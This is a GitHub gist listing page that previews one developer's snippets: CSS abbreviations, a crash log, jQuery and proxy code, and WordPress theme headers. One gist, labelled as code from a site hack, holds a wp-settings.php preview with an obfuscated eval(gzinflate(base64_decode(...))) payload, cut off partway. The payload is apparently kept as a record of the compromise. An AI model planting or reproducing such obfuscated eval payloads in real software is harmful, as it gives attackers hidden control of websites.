Skip to content

Instantly share code, notes, and snippets.

<div style="position: relative; height: 0; overflow: hidden; padding-top: 85%;">
<iframe style="position: absolute; top: 0; left: 0; width: 100%; height: 100;" src="https://data.baltimorecity.gov/w/922z-dmgf/ta62-x9wp?cur=RDuTACrgfNk&from=root" frameborder="0" scrolling="no"></iframe>
</div>
<p>Built using <a href="https://data.baltimorecity.gov/Public-Safety/Map-X/922z-dmgf" target="_blank">Baltimore Open Data</a></p>

Keybase proof

I hereby claim:

  • I am benkutil on github.
  • I am benkutil (https://keybase.io/benkutil) on keybase.
  • I have a public key whose fingerprint is EB23 5A0A 5940 2799 3C39 6737 7856 8154 089F 326F

To claim this, I am signing this object:

@benkutil
benkutil / abbriviations.md
Created October 18, 2014 03:01
CSS Abbreviations

Taken from MCSS

a - link <a> tag ac - action add - additional aft - after aux - auxillary

b - body | bottom bg - background

@benkutil
benkutil / 2015-02-06-crashlog.txt
Created February 6, 2015 14:59
Markly App Crash Logs
Process: Markly [57274]
Path: /Applications/Markly1.0.0.app/Contents/MacOS/Markly
Identifier: com.marklyapp.Markly
Version: 1.0.0 (613)
Code Type: X86-64 (Native)
Parent Process: launchd [55331]
Responsible: Markly [57274]
User ID: 1026
Date/Time: 2015-02-06 09:58:35.605 -0500
@benkutil
benkutil / pseudo.js
Created April 27, 2015 20:30
pseudo code for loading multiple ajax items
infoLoaded = function infoLoadedF () {
// insert video
var videoHTML = '<iframe id="ytplayer" type="text/html" width="640" height="390"
src="http://www.youtube.com/embed/' + SITE.videoID + '?autoplay=1&origin=http://example.com"
frameborder="0"/>';
document.getElementById('youtube-video').innerHTML(videoHTML);
// insert script
var scriptText = '';
@benkutil
benkutil / main.js
Created May 11, 2015 20:20
Surface Example - placeInfo
placeInfo = function placeInfoF () {
$(".about").colorbox({transition:"fade", width:"75%", height:"75%", fixed:true, onLoad: function() {
$('#cboxClose').remove();
var theDiv = document.getElementById('hanatarash');
if(theDiv.innerHTML == '') {
return;
}
@benkutil
benkutil / server.js
Created June 9, 2015 16:55
http-proxy
var http = require('http'),
httpProxy = require('http-proxy');
//
// Create your proxy server and set the target in the options.
//
var apiProxy = new httpProxy.createProxyServer({
target: {
host: 'https://api.ppmroadmap.com/v1.2'
}
});
@benkutil
benkutil / wp-settings.php
Created August 21, 2015 15:44
English Language Programs Hack - included code
<?php eval(gzinflate(base64_decode('pRlrc9u48bM70/+AaBhTjGmJol5WbNpJHeXuZppLqjid6diJBiJBiRFF8kBKtmz6v3cXAB+W5fY6zSQCiH1iX8AigU+arzzmBxHzmrrPVx9S3TAe/vqXA7lYrBGzY5zCKuM85lPOkphnQTRvWmIV/vrryM2COCKAP/VC0tTWPDQIcjoIQEgBn7K7IM3Spu4CfBpEQQbyJNqB5i6IQ0qAZHEqQGIxZVmcwLK7MMnlt8nfP3+5mk7GV98mv19N3v/+9eN4YpKOItDidVYwY3fMJUimYKiPBHAexQJAXjkOsQyiyHwapqwm2Q3jlNVYPBIGCORBob/zg5BN5yybunGUsQj2J3V/RGTOsjWPSMaDVRMJBIvHPWZzOe4uiIT9D7QgdNKMhywSa6da7Oi6kO7HHHQJQLB1SmA8g58QZ0dHuIOWA/jXWvCd/CD6G0midNDil2SD8i51F6ypZavEC7iphUG0NDV3lQUrZmpZzBxhFaWcD9IVaktvpyxNp3pr5fWbCWdzDJCQuhA97R+LLEve3rRv2tc/btrfj9q6SXT4J9gb0pqaz9DmaEMVHZovIYHffIXQPCeoRtMgxwJPKIVY5JwMLPKGKD0NJFLB5IWuI4OxKYUVzm8ix8NDIjActSsigAfvsnjtLkr5B+hmMZFMa9RslWTbJvIwBDMwUMFE4T5jJgxfZ1piCraJiKQ4QYf7pn6Liejf8iDDnSZmLURQqHFKfBGWCFSRpng/FN4GvAIgB/H7KG3uvhC4SlvFA75d46ISDV9vZRjui6IgncVZU4XImjrvIICzOIxvGW9q06/jyT/Hk2v916urL9Nv8DV9/8v49yv9e+ls9FTiBIkdxlBcKorJ+NPnq/H0/YcPE8A2ziwDEY+cnj3qjQZDezQ4FbbXeAq7opzTbVP+dgfdUb83GvW7ppj2Tzo92zAlsGOdjKy+PRh2TTEdWCeDCtixgaJvWx1TTkcgrATagG8PbGtkimnP
/*
Theme Name: _s
Theme URI: http://underscores.me/
Author: Automattic
Author URI: http://automattic.com/
Description: Hi. I'm a starter theme called <code>_s</code>, or <em>underscores</em>, if you like. I'm a theme meant for hacking so don't use me as a <em>Parent Theme</em>. Instead try turning me into the next, most awesome, WordPress theme out there. That's what I'm here for.
Version: 1.0.0
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: _s
/*
Theme Name: _s
Theme URI: http://underscores.me/
Author: Automattic
Author URI: http://automattic.com/
Description: Hi. I'm a starter theme called <code>_s</code>, or <em>underscores</em>, if you like. I'm a theme meant for hacking so don't use me as a <em>Parent Theme</em>. Instead try turning me into the next, most awesome, WordPress theme out there. That's what I'm here for.
Version: 1.0.0
License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: _s